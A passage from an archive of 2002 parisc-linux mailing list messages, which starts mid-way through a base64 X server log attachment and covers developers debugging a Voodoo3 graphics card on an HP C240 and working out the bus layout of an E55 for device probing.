WDExL2ZvbnRzLzEwMGRwaSwvdXNyL2xpYi9YMTEvZm9udHMvNzVkcGkiDQoo
PT0pIFJnYlBhdGggc2V0IHRvICIvdXNyL1gxMVI2L2xpYi9YMTEvcmdiIg0K
KC0tKSB1c2luZyBWVCBudW1iZXIgMg0KDQooLS0pIFBDSTogKDA6MzowKSAz
ZGZ4IEludGVyYWN0aXZlIFZvb2RvbzMgcmV2IDEsIE1lbSBAIDB4ZjYwMDAw
MDAvMjUsIDB4ZjgwMDAwMDAvMjUsIEkvTyBAIDB4ZmQwMC84LCBCSU9TIEAg
MHhmMmY4MDAwMC8xNg0KKElJKSBNR0E6IGRyaXZlciBmb3IgTWF0cm94IGNo
aXBzZXRzOiBtZ2EyMDY0dywgbWdhMTA2NHNnLCBtZ2EyMTY0dywNCiAgICAg
ICAgbWdhMjE2NHcgQUdQLCBtZ2FnMTAwLCBtZ2FnMTAwIFBDSSwgbWdhZzIw
MCwgbWdhZzIwMCBQQ0ksIG1nYWc0MDANCihJSSkgR0xJTlQ6IGRyaXZlciBm
b3IgM0RsYWJzIGNoaXBzZXRzOiBnYW1tYSwgdGlfcG0yLCB0aV9wbSwgcG0z
LCBwbTJ2LA0KICAgICAgICBwbTIsIHBtLCAzMDBzeCwgNTAwdHgsIG14LCBk
ZWx0YQ0KKElJKSBTM1ZJUkdFOiBkcml2ZXIgKHZlcnNpb24gMS42LjEzKSBm
b3IgUzMgVmlSR0UgY2hpcHNldHM6IHZpcmdlLCA4NkMzMjUsDQogICAgICAg
IHZpcmdlIHZ4LCA4NkM5ODgsIHZpcmdlIGR4LCB2aXJnZSBneCwgODZDMzc1
LCA4NkMzODUsIHZpcmdlIGd4MiwNCiAgICAgICAgODZDMzU3LCB2aXJnZSBt
eCwgODZDMjYwLCB2aXJnZSBteCssIDg2QzI4MCwgdHJpbyAzZCwgODZDMzY1
LA0KICAgICAgICB0cmlvIDNkLzJ4LCA4NkMzNjIsIDg2QzM2OA0KKElJKSBT
SVM6IGRyaXZlciBmb3IgU2lTIGNoaXBzZXRzOiBTSVM1NTk3LCBTSVM1NTk4
LCBTSVM1MzAsIFNJUzYzMjYsDQogICAgICAgIFNJUzMwMCwgU0lTNjMwLCBT
SVM1NDANCihJSSkgU0FWQUdFOiBkcml2ZXIgKHZlcnNpb24gMS4xLjE2KSBm
b3IgUzMgU2F2YWdlIGNoaXBzZXRzOiBTYXZhZ2U0LA0KICAgICAgICBTYXZh
Z2UzRCwgU2F2YWdlM0QtTVYsIFNhdmFnZTIwMDAsIFNhdmFnZS9NWC1NViwg
U2F2YWdlL01YLA0KICAgICAgICBTYXZhZ2UvSVgtTVYsIFNhdmFnZS9JWCwg
UHJvU2F2YWdlIFBNMTMzLCBQcm9TYXZhZ2UgS00xMzMsIFR3aXN0ZXIsDQog
ICAgICAgIFR3aXN0ZXJLDQooSUkpIFRSSURFTlQ6IGRyaXZlciBmb3IgVHJp
ZGVudCBjaGlwc2V0czogdHZnYTg5MDBkLCBjeWJlcjkzMjAsIGN5YmVyOTM4
OCwNCiAgICAgICAgY3liZXI5Mzk3LCBjeWJlcjkzOTdkdmQsIGN5YmVyOTUy
MCwgY3liZXI5NTI1ZHZkLCBjeWJlcmJsYWRlL2U0LA0KICAgICAgICB0Z3Vp
OTQyMGRnaSwgdGd1aTk0NDBhZ2ksIHRndWk5NjYwLCB0Z3VpOTY4MCwgcHJv
dmlkaWE5NjgyLA0KICAgICAgICBwcm92aWRpYTk2ODUsIGN5YmVyOTM4Miwg
Y3liZXI5Mzg1LCAzZGltYWdlOTc1LCAzZGltYWdlOTg1LCBibGFkZTNkLA0K
ICAgICAgICBjeWJlcmJsYWRlaTcsIGN5YmVyYmxhZGVpN2QsIGN5YmVyYmxh
ZGVpMSwgY3liZXJibGFkZWkxZCwNCiAgICAgICAgY3liZXJibGFkZUFpMSwg
Y3liZXJibGFkZUFpMWQsIGN5YmVyYmxhZGVYUCwgY3liZXJibGFkZVhQbQ0K
KElJKSBDSElQUzogRHJpdmVyIGZvciBDaGlwcyBhbmQgVGVjaG5vbG9naWVz
IGNoaXBzZXRzOiBjdDY1NTIwLCBjdDY1NTI1LA0KICAgICAgICBjdDY1NTMw
LCBjdDY1NTM1LCBjdDY1NTQwLCBjdDY1NTQ1LCBjdDY1NTQ2LCBjdDY1NTQ4
LCBjdDY1NTUwLA0KICAgICAgICBjdDY1NTU0LCBjdDY1NTU1LCBjdDY4NTU0
LCBjdDY5MDAwLCBjdDY5MDMwLCBjdDY0MjAwLCBjdDY0MzAwDQooSUkpIFRE
Rlg6IERyaXZlciBmb3IgM2RmeCBCYW5zaGVlL1Zvb2RvbzMgY2hpcHNldHM6
IDNkZnggQmFuc2hlZSwNCiAgICAgICAgM2RmeCBWb29kb28zLCAzZGZ4IFZv
b2RvbzUNCihJSSkgRkJEZXY6IGRyaXZlciBmb3IgZnJhbWVidWZmZXI6IGZi
ZGV2LCBhZmINCihJSSkgQVRJOiBBVEkgZHJpdmVyICh2ZXJzaW9uIDYuMy42
KSBmb3IgY2hpcHNldHM6IGF0aQ0KKElJKSBSMTI4OiBEcml2ZXIgZm9yIEFU
SSBSYWdlIDEyOCBjaGlwc2V0czogQVRJIFJhZ2UgMTI4IFJFIChQQ0kpLA0K
ICAgICAgICBBVEkgUmFnZSAxMjggUkYgKEFHUCksIEFUSSBSYWdlIDEyOCBS
RyAoQUdQKSwgQVRJIFJhZ2UgMTI4IFJLIChQQ0kpLA0KICAgICAgICBBVEkg
UmFnZSAxMjggUkwgKEFHUCksIEFUSSBSYWdlIDEyOCBQcm8gUEQgKFBDSSks
DQogICAgICAgIEFUSSBSYWdlIDEyOCBQcm8gUEYgKEFHUCksIEFUSSBSYWdl
IDEyOCBQcm8gUFAgKFBDSSksDQogICAgICAgIEFUSSBSYWdlIDEyOCBQcm8g
UFIgKFBDSSksIEFUSSBSYWdlIDEyOCBNb2JpbGl0eSBMRSAoUENJKSwNCiAg
ICAgICAgQVRJIFJhZ2UgMTI4IE1vYmlsaXR5IExGIChBR1ApLCBBVEkgUmFn
ZSAxMjggTW9iaWxpdHkgTUYgKEFHUCksDQogICAgICAgIEFUSSBSYWdlIDEy
OCBNb2JpbGl0eSBNTCAoQUdQKQ0KKElJKSBSQURFT046IERyaXZlciBmb3Ig
QVRJIFJhZGVvbiBjaGlwc2V0czogQVRJIFJhZGVvbiBRRCAoQUdQKSwNCiAg
ICAgICAgQVRJIFJhZGVvbiBRRSAoQUdQKSwgQVRJIFJhZGVvbiBRRiAoQUdQ
KSwgQVRJIFJhZGVvbiBRRyAoQUdQKSwNCiAgICAgICAgQVRJIFJhZGVvbiBW
RSAoQUdQKQ0KKElJKSBpbXN0dDogZHJpdmVyICh2ZXJzaW9uIDEuMC4wIGZv
ciBJTVMgVHdpblR1cmJvIGNoaXBzZXRzIDogaW1zdHQxMjgsDQogICAgICAg
IGltc3R0M2QNCihJSSkgVkdBOiBHZW5lcmljIFZHQSBkcml2ZXIgKHZlcnNp
b24gNC4wKSBmb3IgY2hpcHNldHM6IGdlbmVyaWMNCihJSSkgdjRsIGRyaXZl
ciBmb3IgVmlkZW80TGludXgNCigtLSkgQ2hpcHNldCAzZGZ4IFZvb2RvbzMg
Zm91bmQNCihJSSkgVERGWCgwKTogU29mdGJvb3RpbmcgdGhlIGJvYXJkICh0
aHJvdWdoIHRoZSBpbnQxMCBpbnRlcmZhY2UpLg0KYzAwMDoxOTVhOiBGMSBJ
TExFR0FMIFg4NiBPUENPREUhDQooSUkpIFRERlgoMCk6IFNvZnRib290aW5n
IHRoZSBib2FyZCBzdWNjZWVkZWQuDQooKiopIFRERlgoMCk6IERlcHRoIDI0
LCAoLS0pIGZyYW1lYnVmZmVyIGJwcCAzMg0KKD09KSBUREZYKDApOiBSR0Ig
d2VpZ2h0IDg4OA0KKD09KSBUREZYKDApOiBEZWZhdWx0IHZpc3VhbCBpcyBU
cnVlQ29sb3INCigtLSkgVERGWCgwKTogQ2hpcHNldDogIjNkZnggVm9vZG9v
MyINCigtLSkgVERGWCgwKTogTGluZWFyIGZyYW1lYnVmZmVyIGF0IDB4Rjgw
MDAwMDANCigtLSkgVERGWCgwKTogTU1JTyByZWdpc3RlcnMgYXQgYWRkciAw
eEY2MDAwMDAwDQooLS0pIFRERlgoMCk6IFBJTyByZWdpc3RlcnMgYXQgYWRk
ciAweEZEMDANCihJSSkgVERGWCgwKTogRFJBTUlOSQ0KDQpMYXNpOiBiYXJr
aW5nIHdpdGhvdXQgYXBwYXJlbnQgcmVhc29uLg0KDQpIaWdoIFByaW9yaXR5
IE1hY2hpbmUgQ2hlY2sgKEhQTUMpOiBDb2RlPTEgcmVncz0xMDI3YzA4MCAo
QWRkcj0wMDAwMDAwMCkNCg==
---275789367-806371304-1025637735=:16680
Content-Type: TEXT/plain; name="pci.txt"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0207022022154.16680@sal.ucc.ie>
Content-Description: /proc/bus/pci for Voodoo3 in 32bit PCI slot
Content-Disposition: attachment; filename="pci.txt"

UENJIGRldmljZXMgZm91bmQ6DQogIEJ1cyAgMCwgZGV2aWNlICAgMywgZnVu
Y3Rpb24gIDA6DQogICAgVkdBIGNvbXBhdGlibGUgY29udHJvbGxlcjogM0Rm
eCBJbnRlcmFjdGl2ZSwgSW5jLiBWb29kb28gMyAocmV2IDEpLg0KICAgICAg
SVJRIDk5Lg0KICAgICAgTm9uLXByZWZldGNoYWJsZSAzMiBiaXQgbWVtb3J5
IGF0IDB4ZjYwMDAwMDAgWzB4ZjdmZmZmZmZdLg0KICAgICAgUHJlZmV0Y2hh
YmxlIDMyIGJpdCBtZW1vcnkgYXQgMHhmODAwMDAwMCBbMHhmOWZmZmZmZl0u
DQogICAgICBJL08gYXQgMHhmZDAwIFsweGZkZmZdLg0KICBCdXMgIDAsIGRl
dmljZSAgMTksIGZ1bmN0aW9uICAwOg0KICAgIFNDU0kgc3RvcmFnZSBjb250
cm9sbGVyOiBMU0kgTG9naWMgLyBTeW1iaW9zIExvZ2ljIChmb3JtZXJseSBO
Q1IpIDUzYzg3NSAocmUNCnYgNCkuDQogICAgICBJUlEgOTkuDQogICAgICBN
YXN0ZXIgQ2FwYWJsZS4gIExhdGVuY3k9MjU1LiAgTWluIEdudD0xNy5NYXgg
TGF0PTY0Lg0KICAgICAgSS9PIGF0IDB4ZmUwMCBbMHhmZWZmXS4NCiAgICAg
IE5vbi1wcmVmZXRjaGFibGUgMzIgYml0IG1lbW9yeSBhdCAweGYyZmZkMDAw
IFsweGYyZmZkMGZmXS4NCiAgICAgIE5vbi1wcmVmZXRjaGFibGUgMzIgYml0
IG1lbW9yeSBhdCAweGYyZmZlMDAwIFsweGYyZmZlZmZmXS4NCiAgQnVzICAw
LCBkZXZpY2UgIDIwLCBmdW5jdGlvbiAgMDoNCiAgICBFdGhlcm5ldCBjb250
cm9sbGVyOiBEaWdpdGFsIEVxdWlwbWVudCBDb3Jwb3JhdGlvbiBERUNjaGlw
IDIxMTQyLzQzIChyZXYgNDgpDQouDQogICAgICBJUlEgOTYuDQogICAgICBN
YXN0ZXIgQ2FwYWJsZS4gIExhdGVuY3k9MjU1LiAgTWluIEdudD0yMC5NYXgg
TGF0PTQwLg0KICAgICAgSS9PIGF0IDB4ZmYwMCBbMHhmZjdmXS4NCiAgICAg
IE5vbi1wcmVmZXRjaGFibGUgMzIgYml0IG1lbW9yeSBhdCAweGYyZmZmMDAw
IFsweGYyZmZmMDdmXS4NCg==
---275789367-806371304-1025637735=:16680--



From - Thu Nov 08 21:23:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Tue, 2 Jul 2002 21:31:16 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20020702193116.GU25586@charite.de>
References: <20020702183558.GO25586@charite.de> <B1225F09-8DEC-11D6-A95C-0030656F07A2@esiee.fr> <20020702185708.GP25586@charite.de> <20020702190606.GA3678@systemhalted> <20020702190842.GR25586@charite.de> <20020702192147.GC3678@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621455 9845 80.91.229.3 (22 Nov 2014 01:57:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 13:31:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 466134857
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 13:31:18 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id CDFB815C018
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 21:31:16 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id BA030633A8; Tue,  2 Jul 2002 21:31:16 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020702192147.GC3678@systemhalted>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15287

Am 02.07.2002 um 15:21:47 -0400 schrieb Carlos O'Donell folgendes:

> # gcc -v

3.0.4

> # ld -v

2.12.90.0.9 20020526 

> --- ./arch/parisc/kernel/power.c     Tue Jul  2 15:17:59 2002
> +++ ./arch/parisc/kernel/power.c     Tue Jul  2 15:18:12 2002

Rebuilding now. Yawn.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
How many viruses must arrive before people realize, 
that M$ is just not ready for the enterprise?




From - Thu Nov 08 21:23:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C240 and PCI (PC) graphics card (attached files)
Date: Tue, 2 Jul 2002 20:36:05 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <20020702203605.F27706@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.44.0207021953230.16680-100000@sal.ucc.ie> <Pine.LNX.4.44.0207022018060.16680-600000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621455 9849 80.91.229.3 (22 Nov 2014 01:57:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 13:36:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD78E485A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 13:36:06 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17PTRV-0004AU-00; Tue, 02 Jul 2002 20:36:05 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.44.0207022018060.16680-600000@sal.ucc.ie>; from xam@cs.ucc.ie on Tue, Jul 02, 2002 at 08:22:15PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15288

On Tue, Jul 02, 2002 at 08:22:15PM +0100, M. Grabert wrote:
> (II) resource ranges after xf86ClaimFixedResources() call:
> 	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
> 	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
> 	[2] -1 0	0xf2fff000 - 0xf2fff07f (0x80) MX[B]
> 	[3] -1 0	0xf2ffe000 - 0xf2ffefff (0x1000) MX[B]
> 	[4] -1 0	0xf2ffd000 - 0xf2ffd0ff (0x100) MX[B]
> 	[5] -1 0	0xf1ff0000 - 0xf1ffffff (0x10000) MX[B](B)
> 	[6] -1 0	0xf8000000 - 0xf9ffffff (0x2000000) MX[B](B)
> 	[7] -1 0	0xf6000000 - 0xf7ffffff (0x2000000) MX[B](B)
> 	[8] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
> 	[9] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
> 	[10] -1 0	0x0000ff00 - 0x0000ff7f (0x80) IX[B]
> 	[11] -1 0	0x0000fe00 - 0x0000feff (0x100) IX[B]
> 	[12] -1 0	0x0000ff00 - 0x0000ffff (0x100) IX[B](B)
> (WW) ****INVALID IO ALLOCATION**** b: 0xff00 e: 0xffff correcting=07

Hrm, see, I think this is wrong.  We're on PCI Bus 1, which has IO port
range 0x10000 to 0x1ffff.  I suspect Xfree is truncating us down to 16 bits.

> (II) Setting vga for screen 0.
> (II) TDFX(0): Softbooting the board (through the int10 interface).
> c000:195a: F1 ILLEGAL X86 OPCODE!
> (II) TDFX(0): Softbooting the board succeeded.
> (**) TDFX(0): Depth 24, (--) framebuffer bpp 32
> (=3D=3D) TDFX(0): RGB weight 888
> (=3D=3D) TDFX(0): Default visual is TrueColor
> (--) TDFX(0): Chipset: "3dfx Voodoo3"
> (--) TDFX(0): Linear framebuffer at 0xF8000000
> (--) TDFX(0): MMIO registers at addr 0xF6000000
> (EE) TDFX(0): No valid PIO address in PCI config space
> (EE) Screen(s) found, but none have a usable configuration.

Yeah.  I bet it's trying to do port IO to the wrong address, and things
are going splat.

> (--) TDFX(0): Linear framebuffer at 0xF8000000
> (--) TDFX(0): MMIO registers at addr 0xF6000000
> (--) TDFX(0): PIO registers at addr 0xFD00

=2E.. much more plausible ...

> (II) TDFX(0): DRAMINIT1 read 0x0, programming 0x202031 (not Banshee)
> (**) TDFX(0): VideoRAM: 16384 kByte Mapping 32768 kByte
> (=3D=3D) TDFX(0): Using gamma correction (1.0, 1.0, 1.0)
> (II) TDFX(0): Generic Monitor: U
>=20
> Lasi: barking without apparent reason.
>=20
> High Priority Machine Check (HPMC): Code=3D1 regs=3D10284080 (Addr=3D0000=
0000)

Fun.  I wonder exactly what X is (trying to) do.

--=20
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem find devices on the E55 I/O interfaces
Date: Tue, 02 Jul 2002 22:42:05 +0200
Organization: private
Lines: 138
Approved: news@gmane.org
Message-ID: <3D22101D.74982658@gmx.at>
References: <3D1A377A.E0CFABBD@gmx.at> <1025579851.956.469.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621456 9851 80.91.229.3 (22 Nov 2014 01:57:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:36 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 14:42:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C277483E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 14:42:27 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020702204210.XSIS9315.viefep13-int.chello.at@gmx.at>;
          Tue, 2 Jul 2002 22:42:10 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15289

Hello Ryan !

Really nice to here from you !

Did you do some hacks on the MUX (of your type of machine) ?

In one of my mails I sent a log with my instrumented debug output,
so you may be able to read out something concerning the question
of bus type.

Here is one question: Although I a have hardware knowledge, I am
not fix HP terminology here.
Can you give me some hints here with the kewords "main bus", 
"lower bus", etc...

Is the "main bus" the CPU bus which has connected the on board 
devices and has a bridge to the the backpanel, or without bridge 
to the backpanel ?
Or is the "main bus" the bus behind the bridge running on the back-
panel ?
Is the lower bus a bus on the interface card behind the bridge to 
the backpanel bus, or ... ?
Is the bus converter itself a bridge ?
Is it transperent bridge or has it to be initialized and is special
drivers needed, etc...

A ASCII block diagram would be helpful, only very simple like

   +-+                    +-+
   | |----- main bus -----| |----- backpanel bus ------------------
   +-+                    +-+    |                 |           |
  CPU (core)           Bridge    I/F 1            I/F 2       I/F 3
				+-+
				| |
				+-+  Bus Converter
				 |
				 +-------------------------- I/O bus
					|          |	
					MUX 	 SCSI

This is not true for the E55, it is only an EXAMPLE !!!

Together we will solve it, or ?

Christoph




Ryan Bradetich wrote:
> 
> Hello Christoph,
> 
> Sorry for the late reply, had a great time at OLs.
> 
> On Wed, 2002-06-26 at 15:51, Christoph Plattner wrote:
> > Hello PARISC hackers !
> >
> > I have problems in the device probing on the E55, and I need some
> > hints here. I am at the very starting point of the SCSI driver
> > development, and other (Rayn) will also need this for MUX (serial),
> > etc....
> >
> > The E55 is a machine of the type "SYSTEM MAP TYPE".
> > I instrumented the code to read out the values and elements at the
> > inventory probing. I will append the log of my "debug helps", they
> > are quite self explaining.
> >
> > The `walk_central_bus()' calls seems to do correct work. It finds the
> > basic elements on my E55:
> >
> >       On the "56" the bus converter
> >       On "62" and "63" components on the system (main) board
> >       - "62" is the CPU, "63" the Memory
> >
> >       The search was started at the "60".
> >
> > My problem now. The `walk_lower_bus()' under the device "56" cannot
> > find any further devices. Seen on PDC or HP-UX, under "56/52" the
> > SCSI controller is present, further the parallel interface and the
> > serial MUX also should be found.
> 
> This make sense.....
> 
> What type of bus is at 56?  The walk_native_bus (as the comments
> and function name indicates) only walks native busses.  It does
> look like this function should be called and work for this bus
> since it is a bus converter instead of a bus adapter.
> 
> let me know what type of your central bus (I'm assuming GSC), and
> the what is the type of your lower bus and I'll see what I can
> find for you.
> 
> > Do we use the wrong search address here, taken from io_io_low of
> > the `struct bc_module'. Do we access it in a wrong way ?
> > Is THIS structure documented in any of the PARISC documents, other-
> > wise, where does this structure come from ?
> 
> This structure is a specialized version of the io_module structure.
> I have not found any external documentation describing it, I have
> mainly figure out it out from scattered internal documentation and
> HP-UX source.
> 
> Not many hints, but I'll work with you to get this figured out.
> 
> Thanks,
> 
> - Ryan
> 
> > I hope you have some hints here ...
> >
> > Best regards
> > Christoph P.
> >
> > --
> > -------------------------------------------------------
> > private:      christoph.plattner@gmx.at
> > company:      christoph.plattner@alcatel.at
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:23:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem find devices on the E55 I/O interfaces
Date: Tue, 02 Jul 2002 15:25:01 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20020702212501.84BD14861@dsl2.external.hp.com>
References: <3D1A377A.E0CFABBD@gmx.at> <1025579851.956.469.camel@beavis>  <3D22101D.74982658@gmx.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621456 9853 80.91.229.3 (22 Nov 2014 01:57:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:36 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 15:25:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 84BD14861; Tue,  2 Jul 2002 15:25:01 -0600 (MDT)
In-Reply-To: Message from Christoph Plattner <christoph.plattner@gmx.at> 
   of "Tue, 02 Jul 2002 22:42:05 +0200." <3D22101D.74982658@gmx.at> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15290

Christoph Plattner wrote:
> Here is one question: Although I a have hardware knowledge, I am
> not fix HP terminology here.
> Can you give me some hints here with the kewords "main bus", 
> "lower bus", etc...

"central bus" = bus which connects all CPUs with all Memory.
On N-class this would be the Merced Bus.
On C3000 it's the runway bus.
On 712 is the GSC bus.

> Is the lower bus a bus on the interface card behind the bridge to 
> the backpanel bus, or ... ?

